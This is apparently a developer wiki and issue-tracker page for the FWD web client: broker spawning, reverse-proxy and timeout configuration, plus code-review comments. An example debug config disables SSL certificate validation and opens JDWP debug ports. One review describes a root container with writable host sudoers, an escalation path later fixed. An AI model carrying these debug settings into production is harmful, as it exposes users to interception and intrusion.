spawner.clientIsReady(uuid, uri). On the server,WebClientSpawner.clientIsReady()stores this asremoteUri.
- Imports the server key store into its config, creates a
- Session registration — when the spawned client's P2J session attaches,
WebClientsManager.registerWebClientSession(webClientId, peerNode)cancels the cleanup timer and mapspeerNode → WebAllocatedResources, so the port can be released when the session ends (freeClient()returns it to the queue). - Redirect to the browser — back in
spawnWorker, afterexitCode == 0,result.uri = spawner.getRemoteUri()appends the authorization token (index.html?token=...). The server returns this URL to the browser (as a JSON/body redirect). - Browser connects to the spawned client — the browser navigates to the spawned client's embedded server URI (
192.168.100.28:7449, directly or via the reverse proxy) and opens the WebSocket; from then on the canvas UI is driven by the spawned web client. BecausededicatedMode=false, the advertised host is the real192.168.100.28rather thanlocalhost, so a remote browser can reach it.
4.2 Spawn sequence diagram¶

5. Multi-broker deployments¶
A single FWD server can drive several brokers — for horizontal scale-out (spawning web clients across many hosts) and/or to dedicate certain hosts to certain users. The reference config has only broker1, but the mechanism generalises.
5.1 Declaring more than one broker¶
Add additional <broker> nodes under server/default/brokers in directory.xml, each with its own broker_account, certificate/private-key, host, and portsRange. Each broker host runs its own broker-client process with its own broker*_client.xml (its own keystore / processalias). For example a second broker:
<node class="container" name="brokers">
<node class="broker" name="broker1">
<node-attribute name="broker_account" value="broker1_process"/>
<node-attribute name="account" value="fwd"/>
<node-attribute name="host" value="192.168.100.28"/>
<node class="container" name="portsRange"> ... 7449..7459 ... </node>
</node>
<node class="broker" name="broker2">
<node-attribute name="broker_account" value="broker2_process"/>
<!-- no 'account' attribute => GENERIC broker (serves any user) -->
<node-attribute name="host" value="192.168.100.29"/>
<node class="container" name="portsRange"> ... </node>
</node>
</node>
Each broker needs its matching process account, peers/private-keys certificate entries, and (if it must spawn under a given OS user) a trustedspawner grant — exactly as documented for broker1 in section 2.1.
5.2 Host indexing and ordering¶
At registration each broker host is added to WebClientsManager with index broker.getIndex() + 1, where getIndex() is the broker's 1-based position in the brokers container (so localhost is index 1, the first declared broker is index 2, and so on). BrokerManager also guards against two brokers resolving to the same host. The web-client host index used by the browser side is therefore derived from this broker declaration order, not from any external host list.
WARNING: The order of <broker> nodes in directory.xml is significant for host indexing. Keep it stable across deployments; reordering brokers shifts their indices.
5.3 Selecting a broker for a spawn request¶
Selection is two-stage — first a candidate set by account, then load-based scheduling within it.
- Candidate set by account —
BrokerManager.getBrokers(osUser)→getBrokersForUser(user):- A broker whose
accountlist contains the user (broker.hasAccount(user)) is an account-specific broker for that user. - A broker with no
accountattribute (broker.noAccounts()) is a generic broker. - The server first tries account-specific brokers for the user; if none are registered/OPEN it falls back to generic brokers. (Account-specific spawns are attempted once; generic spawns may be retried across brokers.)
- Only brokers currently in
BrokerState.OPENare considered.
- A broker whose
- Load-based scheduling —
BrokerManager.schedule(brokers, dedicatedUser, clientAddress):- Validates the requesting client's IP (
InetAddress.getByName). - Computes the user's dedicated host set via
getHostsForUser(dedicatedUser, ...). If the user is pinned to specific hosts, only brokers on those hosts are eligible; if the client's own address is among them it is preferred; otherwise any OPEN broker host is eligible (anyHost). - Among eligible brokers it picks the one reporting the lowest
getRemote().getSystemLoading()(a live RPC to each broker). Throws if none are available.
- Validates the requesting client's IP (

6. Reverse-proxy deployments¶
The browser ultimately connects to a spawned web client's embedded server (e.g. 192.168.100.28:7449). In production that host:port is usually fronted by a reverse proxy (nginx, Apache, a load balancer) so that browsers see a single public hostname over standard TLS, and the internal 7449..7459 ports are never exposed directly.
6.1 How the proxy headers flow through the spawn¶
- The browser hits the proxy, which forwards the login request to the FWD server adding
X-Forwarded-HostandX-Forwarded-Protoheaders. WebDriverHandlerextracts these intoWebDriverRequestParameters(forwardedHost,forwardedProto, plusexternalUserIp) and passes them toWebClientSpawner.spawn(webClientsManager, {forwardedHost, forwardedProto, externalUserIp}).BrokerManager.updateWebClientOptions()injects the proxy values (PROXY_HOST,PROXY_PROTOCOL,WEB_ROOT) into the spawn command alongside the allocated port.- On the spawned client,
TemporaryClientTask.doWork()starts the embedded server on the internalhost:portand then, ifforwardedHostis set, rewrites the externally visible URI withgetForwardedUri(forwardedProto, forwardedHost, webRoot)— i.e.URI.create(forwardedProto + "://" + forwardedHost + webRoot + "/"). - The rewritten URI is reported back to the server via
clientIsReady(uuid, uri);WebDriverHandler.getRemoteUri()appends the auth token, and the browser is redirected to the public proxy URL — never to the internal port.
6.2 Proxy path (web-root) configuration¶
WebDriverHandler.getServerProxyPath(forwardedHost) returns "/" + PROXY_PATH when a proxy custom context path (serverProxyPath) is configured in the directory webClient config (and an empty string otherwise). This proxyPath / web-root is used both to build login/logout page URLs (PLACEHOLDER_PROXY_PATH, web:url:serverBaseUrl) and to rewrite the spawned client's URI, so that a proxy mapping like https://public.example.com/fwd/ → internal 192.168.100.28:7449/ resolves consistently. (When REMOVE_PROXY_PATH_IN_WEB_PAGES is set, the proxy path is stripped from page URLs so the proxy can map serverProxyPath directly to the driver root; in that case the directory serverProxyPath and guiIdentifier/chuiIdentifier should match.)
6.3 Reverse-proxy flow¶

7. Key classes & responsibilities¶
| Class | Side | Responsibility |
|---|---|---|
BrokerDiscovery |
server | Parse brokers container of directory.xml into Broker objects (readBrokerConfigs, getBroker). |
Broker |
server | Holds one broker's config (brokerAccount, accounts, host, from/to, portsRestricted, index) and its registered BrokerParameters instances. |
BrokerManager |
server | Tracks brokers (activeBrokers, hostToBroker), handles registerBroker, selects a broker (schedule), drives spawn, injects port options (updateWebClientOptions). |
BrokerParameters |
server | Per-registration record: uuid, authenticated userId, agentAddress, associatedUser, dedicatedMode, state, remote BrokerClientServices proxy, session. |
BrokerState |
both | OPEN / CLOSE / INTERRUPTED. |
BrokerServerServices |
server (RPC) | Interface the broker calls: registerBroker(...), start(uuid). |
BrokerClientServices |
broker (RPC) | Interface the server calls on the broker: spawn(BrokerSpawnParameters), getSystemLoading(), getDedicatedHost(), ping(uuid). |
BrokerSpawnParameters / BrokerSpawnResult |
both | Spawn request (command, environment, password) / result (exitCode, exception). |
BrokerCore |
broker | Broker-mode lifecycle: initialize, connect/register, spawn (launch JVM via ProcessBuilder + native spawn). |
WebDriverHandler / VirtualDesktopWebHandler |
server | Serve landing page; handleStartClientRequest → spawnWorker; build the redirect URL. |
WebClientsManager |
server | Per-host port queues (createResourceQueue), allocateClient/freeClient, registerWebClientSession. |
WebClientSpawner |
server + spawned client | Server side: orchestrate remote spawn, clientIsReady → remoteUri, getRemoteUri. Spawned-client side: TemporaryClientTask.doWork starts the embedded web server. |
WebAllocatedResources |
server | One allocatable unit: host, port, debugAgentPort, jmxAgentPort, uuid, osUser, proxy fields; back-reference to its queue for release. |
8. Notes, assumptions & open questions¶
- Browser → spawned-client reachability. With
dedicatedMode=falseandweb host=192.168.100.28, the browser is redirected to the spawned client's embedded server at192.168.100.28:<port>and connects there directly (theportsRange 7449–7459on the broker host must be reachable from browsers / through the reverse proxy). WithdedicatedMode=truethe advertised host is forced tolocalhost, which only works when a reverse proxy fronts the clients (section 6). - Agent ports vs client ports.
minAgentPort/maxAgentPort(9988–9999, frombroker1_client.xml) are the JVM agent/debug/JMX ports for the spawned process on the broker host; theportsRange(7449–7459, fromdirectory.xml) are the browser-facing embedded-web-server ports. They are tracked separately insideWebAllocatedResources. - Per-spawn agent-port override (resolved). The fixed JDWP port in
jvmArgs(-Xrunjdwp:...address=9988) is not used as-is for concurrent clients — the configured agent port range overrides it per spawn. At registrationBrokerCoreparses the single debug/JMX ports fromjvmArgs(WebClientsManager.parseDebuggerPort/parseJMXPort) and reports the range as configured (isAgentRangeConfigured).WebClientsManager.createResourceQueuethen builds the agent-port list fromIntStream.rangeClosed(minAgentPort, maxAgentPort)and assigns eachWebAllocatedResourcesa distinctdebugAgentPort/jmxAgentPort(viapollFirst). At spawn timeWebClientBuilderParameters.updateOptions(allocatedResources)rewrites the spawned JVM's-Xrunjdwp:transport=...,address=<port>(and-Dcom.sun.management.jmxremote.port) to the allocated port. So each concurrently spawned client on the broker host gets its own debug/JMX port from the 9988–9999 range, and the literaladdress=9988injvmArgsis replaced rather than colliding.
Debugging spawned web clients¶
There are locally-spawned and broker-spawned web clients.
Locally-spawned web clients¶
These special directory settings under clientConfig node start the java debugger agent on the specified ports and apply the default debugger profile settings to spawned java clients.
| Configuration name | Class | Format/Example |
|---|---|---|
| minAgentPort | integer | <node class="integer" name="minAgentPort"><node-attribute name="value" value="8980"/></node> |
| maxAgentPort | integer | <node class="integer" name="maxAgentPort"><node-attribute name="value" value="8990"/></node> |
| enableSpawnerDebug | boolean | <node class="boolean" name="enableSpawnerDebug"><node-attribute name="value" value="TRUE"/></node> |
| jvmArgs | string | <node class="string" name="jvmArgs"><node-attribute name="value" value="*"/></node> |
jvmArgs value="*" is a standard JVM arguments string. For the debugging the following JVM arguments string is used commonly in FWD project
-Xmx512m -Djava.awt.headless=true -Duser.country=US -Duser.language=en -Xdebug -Xnoagent -Djava.compiler=NONE -Djava.net.preferIPv4Stack=true -Xrunjdwp:transport=dt_socket,address=8980,server=y,suspend=n
All these options can be adjusted for the target tasks.
If jvmArgs settings specifies the java debugger -Xrunjdwp:transport=dt_socket,address=8980,server=y,suspend=n, then for the locally-spawned java process the given port number is allocated 8980. So the next spawned process cannot use the same settings and these configuration nodes minAgentPort and maxAgentPort are used to specify the range of available ports for the java debugger. The web client runtime manages these ports so the next spawned java process can be started successfully in this debug mode.
This is an example of the directory settings used here
<node class="container" name="clientConfig">
............................................
<node class="boolean" name="enableSpawnerDebug">
<node-attribute name="value" value="TRUE"/>
</node>
<node class="integer" name="minAgentPort">
<node-attribute name="value" value="8980"/>
</node>
<node class="integer" name="maxAgentPort">
<node-attribute name="value" value="8999"/>
</node>
<node class="string" name="jvmArgs">
<node-attribute name="value" value="-Xmx512m
-Djava.awt.headless=true
-Duser.country=US
-Duser.language=en
-Xdebug
-Xnoagent
-Djava.compiler=NONE
-Djava.net.preferIPv4Stack=true
-Xrunjdwp:transport=dt_socket,address=8980,server=y,suspend=n"/>
</node>
<node class="string" name="cfgOverrides">
<node-attribute name="value" value="client:cmd-line-option:debugalert=true net:http_client:disable_ssl_certificate_validation=true security:provider:name=conscrypt"/>
</node>
...................................................
</node>
Broker-spawned web clients: when a client is launched on a remote broker host rather than locally, the equivalent debug/agent port management is driven from the broker client's minAgentPort/maxAgentPort (broker1_client.xml) — see the Per-spawn agent-port override note in "section 8":#remote-brokers of the broker documentation above for how the fixed -Xrunjdwp port is overridden per spawn from that range.
Networking Configuration Value Recommendations¶
This section will help the end-user with some suggestions regarding the recommended values for the parameters which can be defined in directory.xml. It will include a set of values for environments with fast and reliable network, and another set for the ones with slow networks. The description for each of the following parameters can be read in the bootstrap configuration, corresponding to the client:web entries.
| Configuration name | Default | Fast network | Slow network |
|---|---|---|---|
| webSocketTimeout | 90000 | 90000 | 180000 |
| watchdogTimeout | 120000 | 90000 | 180000 |
| pingPongInterval | 30000 | 15000 | 50000 |
| maxLostPings | 6 | 4 | 10 |
| delayBetweenPingTries | 1000 | 1000 | 3000 |
| delayBetweenTriesToConnect | 5000 | 2500 | 8000 |
| maxIdleTime | 90000 | 90000 | 180000 |
| embWebServerMaxIdleTimeout | 90000 | 90000 | 180000 |
| maxOutputBufferSize | 1048576 | 1048576 | 524288 |
| maxOutputAggregationSize | 8192 | 8192 | 4096 |
| maxResponseHeaderSize | 8192 | 8192 | 4096 |
| maxRequestHeaderSize | 8192 | 8192 | 4096 |
There are restrictions on values used for configuration parameters: the embedded web server parameters for the java web client webSocketTimeout, watchdogTimeout, embWebServerMaxIdleTimeout and maxIdleTime and the jscript client parameter pingPongInterval.
webSocketTimeout <= maxIdleTime <= embWebServerMaxIdleTimeout, webSocketTimeout + pingPongInterval <= watchdogTimeout and webSocketTimeout > pingPongInterval should be satisfied so that for watchdogTimeout the web client can reconnect to the java web client and at least one ping message comes within webSocketTimeout interval.
maxIdleTimeused to setorg.eclipse.jetty.websocket.servlet.WebSocketServletFactory.getPolicy().setIdleTimeout(maxIdleTime)for the web socket connection created by web socket servlet factory. If its directory value is not set, then the default value for the web client is 90000 ms given bymaxIdleTime=90000.webSocketTimeoutused to set a timeoutorg.eclipse.jetty.websocket.api.Session.setIdleTimeout(webSocketTimeout)for the given web socket session. If its directory value is not set, then the default value is 90000 ms given bywebSocketTimeout=90000.embWebServerMaxIdleTimeoutused to set a timeout for idle http connection of the embedded web server byorg.eclipse.jetty.server.HttpConfiguration.setIdleTimeout(embWebServerMaxIdleTimeout). If its directory value is not set, then the default value is infinity given by embWebServerMaxIdleTimeout=0.watchdogTimeoutis a timeout within which interval the java web client can establish the web socket connection with the jscript web client on any IO exceptions during network operations. If its directory value is not set, then the default value is 120000 ms given bywatchdogTimeout=120000.pingPongIntervalused for jscript web client that sends a ping pong message within this interval. If its directory value is not set, then the default value is 30000 ms given bypingPongInterval=30000.
The target default values are defined in com.goldencode.p2j.web.WebConfigurationConstants.
New Constants — Branch 11401a¶
This branch adds configuration, routing, and protocol constants supporting two related features in the web client driver:
- A bounded, refreshable authorization cookie (TTL + refresh/delete endpoints).
- A client response timeout that lets the Java web client wait — without blocking forever — for the JavaScript client to acknowledge shutdown so the auth cookie can be cleaned up.
1. com.goldencode.p2j.util.ConfigItem¶
Two new directory-backed configuration items, both ConfigItem<Integer> of Type.WEB_CLIENT.
CLIENT_RESPONSE_TIMEOUT¶
| Property | Value |
|---|---|
| Type | ConfigItem<Integer> |
| Config key | clientResponseTimeout |
| Directory path | client:web:clientResponseTimeout |
| Unit | milliseconds |
| Default | WebConfigurationConstants.CLIENT_RESPONSE_TIMEOUT (5000) |
Time in milliseconds the Java web client waits for a response from the JavaScript client before giving up, so the Java side is never blocked forever. Non-positive configured values are clamped to the default at every read site.
AUTH_COOKIE_TTL¶
| Property | Value |
|---|---|
| Type | ConfigItem<Integer> |
| Config key | authCookieTtl |
| Directory path | client:web:authCookieTtl |
| Unit | seconds |
| Default | WebConfigurationConstants.AUTH_COOKIE_TTL (1800) |
Lifetime in seconds of the web-client authorization cookie. While a tab is active the cookie is periodically refreshed; once the tab closes the cookie expires within this TTL, reclaiming orphaned cookies left behind by abnormally-closed tabs. Non-positive configured values are clamped to the default.
2. com.goldencode.p2j.web.WebConfigurationConstants¶
Default values for the two new config items above. Used as the fallback whenever the corresponding ConfigItem is unset or non-positive.
| Constant | Type | Value | Meaning |
|---|---|---|---|
CLIENT_RESPONSE_TIMEOUT |
int |
5000 |
Default timeout (ms) to wait for the JS client response. |
AUTH_COOKIE_TTL |
int |
1800 |
Default authorization-cookie lifetime (seconds = 30 minutes). |
3. com.goldencode.p2j.ui.client.driver.web.AuthHandler¶
Two new public route constants identifying dedicated HTTP request paths handled by AuthHandler. Both respond 204 No Content.
| Constant | Type | Value | Meaning |
|---|---|---|---|
DELETE_AUTH_HANDLER |
String |
"/delete-cookie/" |
Path whose handler deletes the (HttpOnly) authorization cookie. Invoked by the JS client on shutdown. |
REFRESH_AUTH_HANDLER |
String |
"/refresh-cookie/" |
Path whose handler re-issues the authorization cookie with a fresh max age, prolonging an active session. |
4. com.goldencode.p2j.ui.client.driver.web.WebClientMessageTypes¶
One new binary protocol message type.
| Constant | Type | Value | Meaning |
|---|---|---|---|
MSG_SHUTTINGDOWN |
byte |
(byte) 0xCF |
Sent by the Java web client to tell the JS client it is shutting down, giving the JS client a chance to clear the auth cookie before MSG_QUIT. |
JavaScript mirror — res/p2j.socket.js¶
The same value is mirrored in the JS message-type map so the client recognizes it:
| Constant | Value |
|---|---|
types.MSG_SHUTTINGDOWN |
0xCF |
Constant relationships¶
- The Java side sends
MSG_SHUTTINGDOWNonquit()and then waits up toCLIENT_RESPONSE_TIMEOUTms for the JS acknowledgement. - On receiving
MSG_SHUTTINGDOWN, the JS client issues a request toDELETE_AUTH_HANDLER(/delete-cookie/) with a fetch timeout of ~80% ofclientResponseTimeout, then acknowledges. - While a tab is active the JS client periodically calls
REFRESH_AUTH_HANDLER(/refresh-cookie/) at half theAUTH_COOKIE_TTL(capped at 5 minutes) to keep the cookie alive; if the tab dies, the cookie self-expires withinAUTH_COOKIE_TTL.
© 2004-2025 Golden Code Development Corporation. ALL RIGHTS RESERVED.
#979 Updated by Sergey Ivanovskiy about 1 month ago
- File broker_registration.png added
- File broker_deployment.png added
- File broker_identity_trust.png added
- File broker_reverse_proxy.png added
- File broker_scheduling.png added
- File broker_spawn_sequence.png added
#980 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_deployment.mmd)
#981 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_deployment.svg)
#982 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_scheduling.png)
#983 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_spawn_sequence.png)
#984 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_reverse_proxy.png)
#985 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_registration.png)
#986 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_identity_trust.png)
#987 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_identity_trust.mmd)
#988 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_registration.mmd)
#989 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_identity_trust.svg)
#990 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_reverse_proxy.mmd)
#991 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_registration.svg)
#992 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_scheduling.mmd)
#993 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_deployment.png)
#994 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_scheduling.svg)
#995 Updated by Sergey Ivanovskiy about 1 month ago
- File deleted (
broker_reverse_proxy.svg)
#996 Updated by Sergey Ivanovskiy about 1 month ago
- File broker_reverse_proxy.png added
- File broker_deployment.png added
- File broker_identity_trust.png added
- File broker_spawn_sequence.png added
- File broker_registration.png added
- File broker_scheduling.png added
#997 Updated by Sergey Ivanovskiy about 1 month ago
- File broker_registration.mmd added
- File broker_deployment.mmd added
- File broker_identity_trust.mmd added
- File broker_reverse_proxy.mmd added
- File broker_scheduling.mmd added
- File broker_spawn_sequence.mmd added
Added mermaid diagrams for editing.
#998 Updated by Roger Borrello about 1 month ago
Sergey Ivanovskiy wrote:
Added mermaid diagrams for editing.
I find this document phenomenal! I don't have time to review right now, but I would say more direction on the flows in terms of order... what is 1, 2, 3... there are a few, but a lot missing.
Also, did you read #11439? There was something about Mermaid vs Inkscape in there.
#999 Updated by Sergey Ivanovskiy about 1 month ago
This is auto generated document for broker configuration inserted into the existing wiki. The existing images are not displayed because they have different relative paths, (\!web_client_spawning_flow_virtual_desktop_mode.png\! and similar links). I will replace new added png images by svg ones. Although documentation for the other local web client modes (local virtual desktop CHUI and GUI and the embedded mode) can be auto generated to reflect the current code. Please write a list of missed features/implementations.
#1000 Updated by Sergey Ivanovskiy 27 days ago
9709e was rebased up to 16650.
#1002 Updated by Sergey Ivanovskiy 27 days ago
Yes, I did not observe the status. The task completed. Dependency on hosts.txt was removed from the code.
#1004 Updated by Greg Shah 27 days ago
Code Review Task branch 9709e Revisions 16625 through 16651
Overall, the changes look reasonable.
In HostsManager, there is only synchronization for addHost(). Is the idea that the modifications to the state are only ever done at initialization time? Is there any way for access to the state to occur while changes are still being made? If so, then the state needs to be more carefully protected. Even if this design is currently safe, it could be unsafe based on future edits that don't realize that the state modification must be done in an initialization phase.
#1005 Updated by Roger Borrello 27 days ago
I made commits for tools/docker/docker_build.sh and the Dockerfile which make the process of extracting branch and revision more robust. It was statically looking for "p2j" as the repo, but that might be something else. So now we source the version.properties file to pull values (if set) from there.
#1007 Updated by Sergey Ivanovskiy 26 days ago
- % Done changed from 100 to 90
Greg Shah wrote:
Code Review Task branch 9709e Revisions 16625 through 16651
In
HostsManager, there is only synchronization foraddHost(). Is the idea that the modifications to the state are only ever done at initialization time? Is there any way for access to the state to occur while changes are still being made? If so, then the state needs to be more carefully protected. Even if this design is currently safe, it could be unsafe based on future edits that don't realize that the state modification must be done in an initialization phase.
Thank you for the review. This class was constantly modified and I did not observe that it became unsafe. Now this part is fixed in rev 16654 (9709e). Please review. This was done with the Claude assistance.
#1008 Updated by Sergey Ivanovskiy 26 days ago
- % Done changed from 90 to 100
#1009 Updated by Sergey Ivanovskiy 26 days ago
The wiki page Web Client Setup was updated. Please review the changes and note 5.2 Host indexing and ordering.
#1010 Updated by Sergey Ivanovskiy 25 days ago
I rebased 9709e to rev. 16664.
#1011 Updated by Hynek Cihlar 22 days ago
- production changed from No to Yes
Just to be clear, who is responsible for the review now?
#1012 Updated by Hynek Cihlar 22 days ago
- production changed from Yes to No
#1014 Updated by Hynek Cihlar 22 days ago
- % Done changed from 100 to 90
- Status changed from Review to WIP
Code review 9709e revisions 16621..16664
In BrokerCore, the added while in asleep makes the wait uninterruptible. The exception InterruptedException is ignored and next wait loop is entered. The interruption must be handled properly.
The exception message "Only process accounts are allowed.@ is a bit misleading.
System.out.println("This container node /server/default/webClient is not found!"); in ClientsToPortsGenerator. The message may be misleading if different server node is chosen by findDirectoryNodePath. There are two similar places in ClientsToPortsGenerator.
#1015 Updated by Sergey Ivanovskiy 21 days ago
- % Done changed from 90 to 100
Hynek Cihlar wrote:
Code review 9709e revisions 16621..16664
In
BrokerCore, the addedwhileinasleepmakes the wait uninterruptible. The exceptionInterruptedExceptionis ignored and next wait loop is entered. The interruption must be handled properly.
Yes, I did not observe this change.
The exception message "Only process accounts are allowed.@ is a bit misleading.
System.out.println("This container node /server/default/webClient is not found!");inClientsToPortsGenerator. The message may be misleading if different server node is chosen byfindDirectoryNodePath. There are two similar places inClientsToPortsGenerator.
These should be fixed in rev 16665 (9709e). Please review.
#1016 Updated by Sergey Ivanovskiy 21 days ago
Rebased 9709e up to revision 16672.
#1017 Updated by Roger Borrello 21 days ago
I've been collaborating with Claude to help document the broker usage by utilizing Claude to at least get me close to the finish line, and I'm finding that the trunk implementation won't allow Swarm without the macvlan setup, which doesn't work in VM/Cloud environments because it needs the parent NIC to pass multiple/"foreign" MAC addresses (promiscuous mode), which would need special vSwitch settings. Each container would get it's own NIC and IP.
The NGINX configuration being used is tightly bound to a single server providing access to all the allowable ports. Does current trunk allow the configuration to map to a specific IP address for the broker? Is 9709e a real requirement for getting the ability to use the brokers as multi-container requires?
#1018 Updated by Hynek Cihlar 21 days ago
- % Done changed from 100 to 90
Code review 9709e revisions 16621..16665
The following points look legit.
- [MAJOR] performance
BrokerManager.registerBroker: The blocking DNS resolutionHostsManager.canonicalHostKeys(host)(which unconditionally callsInetAddress.getAllByName, with no cache or short-circuit after the null guard) runs inside thesynchronized (activeBrokers)block; the old code only did in-memory lookups (sm.getBrokerForProcess) under that monitor.activeBrokersis shared by all (de)registration paths (removeBroker/session-closeterminatehook,getBrokers,getDedicatedHosts,findBroker), so a slow or unreachable resolver makesgetAllByNameblock for the full resolver timeout while every other broker (de)registration stalls behind the held monitor. Trigger: any broker client connect/reconnect callingregisterBrokerwhen DNS is slow. Notably, this same patch'sHostsManager.addHostcarries the comment "Resolve the address before locking so no lock is held across the blocking DNS lookup" and applies exactly the recommended fix —registerBrokerfails to. Fix: hoistcanonicalHostKeys(host)abovesynchronized (activeBrokers)(it depends only onhost, not on shared state). - [MINOR] security
dbash.sh.main: With-f(and without-w) the newly addeduser_override="--user root"runs the container as root, while the sameelsebranch bind-mounts the host/etc/sudoerswritable (-v /etc/sudoers:/etc/sudoers, no:ro, unlike the siblingpasswd/group/shadowmounts which are:ro). Previously-fran as the mapped non-root$USER, which could not write the root-owned sudoers; now an in-container root process (e.g. from an untrusted base image or--startup_hook) can rewrite the host's sudoers and escalate on the host. This escalation is newly introduced by this diff. Trigger:dbash.sh -f. Fix: mount/etc/sudoersread-only and/or avoid--user root. - [MINOR] style
BaseConfigItem: The file headerAbstractline is 114 characters — exceeds the column limit. Wrap to a second line. - [MINOR] style
ClientsToPortsGenerator.generate: The fluentcreateConfigItemOfType(...).read(-1, ds)continuation line reaches 110 chars; split the.read(…)onto its own line. - [MINOR] style
dbash.sh.main: Thelcase bodypull="never"is indented with a hard tab; the rest of the file uses spaces.
#1019 Updated by Sergey Ivanovskiy 21 days ago
- % Done changed from 90 to 100
Hynek Cihlar wrote:
Code review 9709e revisions 16621..16665
The following points look legit.
- [MAJOR] performance
BrokerManager.registerBroker: The blocking DNS resolutionHostsManager.canonicalHostKeys(host)(which unconditionally callsInetAddress.getAllByName, with no cache or short-circuit after the null guard) runs inside thesynchronized (activeBrokers)block; the old code only did in-memory lookups (sm.getBrokerForProcess) under that monitor.activeBrokersis shared by all (de)registration paths (removeBroker/session-closeterminatehook,getBrokers,getDedicatedHosts,findBroker), so a slow or unreachable resolver makesgetAllByNameblock for the full resolver timeout while every other broker (de)registration stalls behind the held monitor. Trigger: any broker client connect/reconnect callingregisterBrokerwhen DNS is slow. Notably, this same patch'sHostsManager.addHostcarries the comment "Resolve the address before locking so no lock is held across the blocking DNS lookup" and applies exactly the recommended fix —registerBrokerfails to. Fix: hoistcanonicalHostKeys(host)abovesynchronized (activeBrokers)(it depends only onhost, not on shared state).
This part should be already fixed in the rev 16672. I rebased after the fix. #9709-1016
#1020 Updated by Hynek Cihlar 21 days ago
Sergey Ivanovskiy wrote:
Hynek Cihlar wrote:
Code review 9709e revisions 16621..16665
The following points look legit.
- [MAJOR] performance
BrokerManager.registerBroker: The blocking DNS resolutionHostsManager.canonicalHostKeys(host)(which unconditionally callsInetAddress.getAllByName, with no cache or short-circuit after the null guard) runs inside thesynchronized (activeBrokers)block; the old code only did in-memory lookups (sm.getBrokerForProcess) under that monitor.activeBrokersis shared by all (de)registration paths (removeBroker/session-closeterminatehook,getBrokers,getDedicatedHosts,findBroker), so a slow or unreachable resolver makesgetAllByNameblock for the full resolver timeout while every other broker (de)registration stalls behind the held monitor. Trigger: any broker client connect/reconnect callingregisterBrokerwhen DNS is slow. Notably, this same patch'sHostsManager.addHostcarries the comment "Resolve the address before locking so no lock is held across the blocking DNS lookup" and applies exactly the recommended fix —registerBrokerfails to. Fix: hoistcanonicalHostKeys(host)abovesynchronized (activeBrokers)(it depends only onhost, not on shared state).This part should be already fixed in the rev 16672. I rebased after the fix. #9709-1016
I see, I will do another round.
#1021 Updated by Sergey Ivanovskiy 21 days ago
Roger, could you help with this issue if this is valueable for you
- [MINOR] security
dbash.sh.main: With-f(and without-w) the newly addeduser_override="--user root"runs the container as root, while the sameelsebranch bind-mounts the host/etc/sudoerswritable (-v /etc/sudoers:/etc/sudoers, no:ro, unlike the siblingpasswd/group/shadowmounts which are:ro). Previously-fran as the mapped non-root$USER, which could not write the root-owned sudoers; now an in-container root process (e.g. from an untrusted base image or--startup_hook) can rewrite the host's sudoers and escalate on the host. This escalation is newly introduced by this diff. Trigger:dbash.sh -f. Fix: mount/etc/sudoersread-only and/or avoid--user root.
#1022 Updated by Roger Borrello 21 days ago
Sergey Ivanovskiy wrote:
Roger, could you help with this issue if this is valuable for you
Yes. I'm looking at it.
#1023 Updated by Roger Borrello 21 days ago
Sergey Ivanovskiy wrote:
Roger, could you help with this issue if this is valueable for you
- [MINOR] security
dbash.sh.main: With-f(and without-w) the newly addeduser_override="--user root"runs the container as root, while the sameelsebranch bind-mounts the host/etc/sudoerswritable (-v /etc/sudoers:/etc/sudoers, no:ro, unlike the siblingpasswd/group/shadowmounts which are:ro). Previously-fran as the mapped non-root$USER, which could not write the root-owned sudoers; now an in-container root process (e.g. from an untrusted base image or--startup_hook) can rewrite the host's sudoers and escalate on the host. This escalation is newly introduced by this diff. Trigger:dbash.sh -f. Fix: mount/etc/sudoersread-only and/or avoid--user root.
The revision 16673 should alleviate this. The --user root is a requirement of being able to setup the FWD Docker container, and is only used to setup the sudoers.d environment in the entrypoint. The dbash.sh script is dangerous by design.
#1024 Updated by Sergey Ivanovskiy 20 days ago
Roger, Thank you for help in fixing this. I update wiki Web_Client_Setup by adding this note into 5.2 paragraph:
IMPORTANT: A <broker> node must never be configured with host set to the FWD server's own loopback address (localhost or 127.0.0.1). Host index 1 is permanently reserved for the FWD server's loopback host. A broker declared on the loopback would be folded into that reserved index-1 slot at runtime, while the reverse-proxy map generator (ClientsToPortsGenerator) would still assign it its declaration-order index (2, 3, …); the generated client-<index>-<port> proxy names would then not match the runtime web-root, and that broker's clients could not be routed through the reverse proxy. Each broker must be declared on a distinct, non-loopback host.
#1025 Updated by Hynek Cihlar 20 days ago
Code review 9709e. The changes look good to me now, no more concerns.
#1026 Updated by Hynek Cihlar 20 days ago
- Status changed from WIP to Review
#1027 Updated by Hynek Cihlar 20 days ago
Hynek Cihlar wrote:
Code review 9709e. The changes look good to me now, no more concerns.
Actually one more point. The host is resolved via canonicalHostKeys(host)/getAllByName(host) before the lock, and the already-resolved address is never reused. addHost(host, ...) then resolves the same host again via getByName(host).
#1028 Updated by Sergey Ivanovskiy 20 days ago
Hynek Cihlar wrote:
Hynek Cihlar wrote:
Code review 9709e. The changes look good to me now, no more concerns.
Actually one more point. The host is resolved via
canonicalHostKeys(host)/getAllByName(host)before the lock, and the already-resolved address is never reused.addHost(host, ...)then resolves the same host again viagetByName(host).
InetAddress already uses the internal cache for getAllByName(host)
// mapping from host name to Addresses - either NameServiceAddresses (while
// still being looked-up by NameService(s)) or CachedAddresses when cached
private static final ConcurrentMap<String, Addresses> cache =
new ConcurrentHashMap<>();
// CachedAddresses that have to expire are kept ordered in this NavigableSet
// which is scanned on each access
private static final NavigableSet<CachedAddresses> expirySet =
new ConcurrentSkipListSet<>();
so we can leave this code without additional optimization.
